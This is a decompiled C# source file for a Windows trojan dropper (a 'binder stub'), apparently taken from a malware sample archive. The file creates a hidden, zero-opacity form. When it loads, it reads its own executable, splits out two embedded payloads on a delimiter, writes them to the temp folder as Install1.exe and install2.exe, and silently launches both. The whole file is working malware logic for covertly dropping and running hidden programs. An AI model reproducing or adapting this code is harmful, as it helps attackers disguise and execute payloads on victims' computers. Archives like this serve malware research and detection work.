MalwareSourceCode/MSIL/Trojan-Dropper/Win32/I/Trojan-Dropper.Win32.Injector.bpl-16ecc2f74d0c33829084bc15598c43ccecda206cbe141e12d7c6892fae66914d/Form1.cs
2022-08-18 06:28:56 -05:00

102 lines
3.0 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Binder_Example_Stub.Form1
// Assembly: stub, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
// MVID: 40B081AB-4A01-44CE-881F-3D3CCAD72E9B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Injector.bpl-16ecc2f74d0c33829084bc15598c43ccecda206cbe141e12d7c6892fae66914d.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
namespace Binder_Example_Stub
{
[DesignerGenerated]
public class Form1 : Form
{
private IContainer components;
private string Windows;
private string[] Options;
private const string FileSplit = "MoDi";
[DebuggerNonUserCode]
public Form1()
{
this.Load += new EventHandler(this.Form1_Load);
this.InitializeComponent();
}
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
try
{
if (!disposing || this.components == null)
return;
this.components.Dispose();
}
finally
{
base.Dispose(disposing);
}
}
[DebuggerStepThrough]
private void InitializeComponent()
{
this.SuspendLayout();
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.AutoSizeMode = AutoSizeMode.GrowAndShrink;
this.ClientSize = new Size(10, 10);
this.ControlBox = false;
this.FormBorderStyle = FormBorderStyle.None;
this.Name = nameof (Form1);
this.Opacity = 0.0;
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.Text = nameof (Form1);
this.ResumeLayout(false);
}
private void Form1_Load(object sender, EventArgs e)
{
try
{
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
this.Windows = Strings.Space(checked ((int) FileSystem.LOF(1)));
FileSystem.FileGet(1, ref this.Windows);
FileSystem.FileClose(1);
this.Options = Strings.Split(this.Windows, "MoDi");
FileSystem.FileOpen(3, Path.GetTempPath() + "\\Install1.exe", OpenMode.Binary, OpenAccess.ReadWrite);
FileSystem.FilePut(3, this.Options[1], -1L, false);
FileSystem.FileClose(3);
FileSystem.FileOpen(5, Path.GetTempPath() + "\\install2.exe", OpenMode.Binary, OpenAccess.ReadWrite);
FileSystem.FilePut(5, this.Options[2], -1L, false);
FileSystem.FileClose(5);
Process.Start(Path.GetTempPath() + "\\Install1.exe");
Process.Start(Path.GetTempPath() + "\\install2.exe");
ProjectData.EndApp();
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
this.Close();
ProjectData.ClearProjectError();
}
}
public void File1()
{
}
public void File2()
{
}
}
}